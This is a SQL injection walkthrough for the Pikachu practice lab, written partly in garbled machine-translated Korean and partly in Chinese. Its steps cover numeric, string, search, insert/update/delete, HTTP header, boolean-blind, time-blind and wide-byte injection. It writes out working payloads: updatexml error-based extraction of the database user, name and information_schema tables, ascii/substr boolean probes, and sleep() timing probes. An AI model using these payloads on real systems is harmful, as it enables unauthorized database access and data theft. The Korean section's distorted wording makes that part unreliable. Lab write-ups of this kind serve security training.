디지털 형 임플란트 ( POST가 ) :
디지털 데이터베이스 쿼리를 사용하여, 3 또는 3 모두 선택하려고
문자 주사 ( GET ) :
와 문자로 쿼리 1 '='1 '또는' 고베 쿼리 필드의 양쪽에 마크를 제거하는 시도
검색이 주입 될 수있다
사출 검색 :
당신은 질문의 범위를 결정하기 위해 등을 사용했을 수 있습니다
예를 들어 선택 필드 1, 필드 2 표 사용자 이름이 같은 WHERE '%% 이름을 $'
우리는 사용
K % '또는 닫으려고하는 1 = 1 #
XX 타입 임플란트 :
배경은 괄호 쿼리 필드를 사용하여 찾을 수 있습니다
우리는 괄호에 폐쇄
고베 ') 또는 (1) = 1 #
삽입 / 업데이트 주입
하자 레지스터
우리는 SQL 문을 여기 실행에 관한 것으로 의심 :
Insert into user(name,password,sex,phone,address1,address2) value('1','1','1','1','1','1')
没有回显,所以我们构造错误信息来进行回显
构造payload
aaa' and 1=(updatexml(1,concat(0x3a,(select user())),1)))#
出现一下显示
通过aaa' and 1=(updatexml(1,concat(0x3a,( database())),1)))#
获得数据库名
通过aaa' and 1=(updatexml(1,concat(0x3a,( select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)
)),1)))#进一步获得数据库里的表名
并以此类推进行sql查询,可以继续获得更多的信息。
delete注入:
留言可以进行删除,可能存在这样的语句
delete from message where id=1
url里面有id信息所以尝试添加1 or updatexml(1, concat(0x7e,database()), 0)
产生了想要的信息,这样像之前一样一点一点获得信息就行。
http header注入:
记录了http头的信息
在Host: ,User-Agent: ,Accept: 三处
测试使用1' or updatexml(1, concat(0x7e, database()), 0) or '
回显成功
盲注:
输入kobe' and 1=1#
输入kobe' and 1=2#
我们发现这里的输出只有 用户名存在 和 用户名不存在 两种输出,所以前面基于报错的方式在这不能用。
通过真假判断来尝试出数据库的有关信息
kobe' and length(database())>5#正确
kobe' and length(database())>6#正确
kobe' and length(database())>7#
所以数据库名称长度为7
再用 substr() 和 ascii() 判断数据库由哪些字母组成
Kobe' and ascii(substr(database(), 1, 1)) > 113#
kobe'and ascii(substr(database(), 1, 1)) > 105#
通过这样的真假判断可以猜出数据库名,接着猜出表名,列明
盲注(based on time):
无论输入什么都是I don't care,这时我们通过看服务器响应时间查看是否有注入点
可以看到确实相应了5秒
通过构造该语句kobe' and if((substr(database(), 1, 1))='p', sleep(5), null)#
来进行真假判断,逐个判断通过时间猜出信息
宽字节注入:
输入kobe' or 1=1#但无效果
因为没有回显,所以先预判可以宽字节注入
因为在后台单引号会被转义,在数据库中执行时多了个反斜杠。我们可以用下面的payload,在单引号前面加上 %df,生成"連",让单引号保留。
可以看到成功进行注入。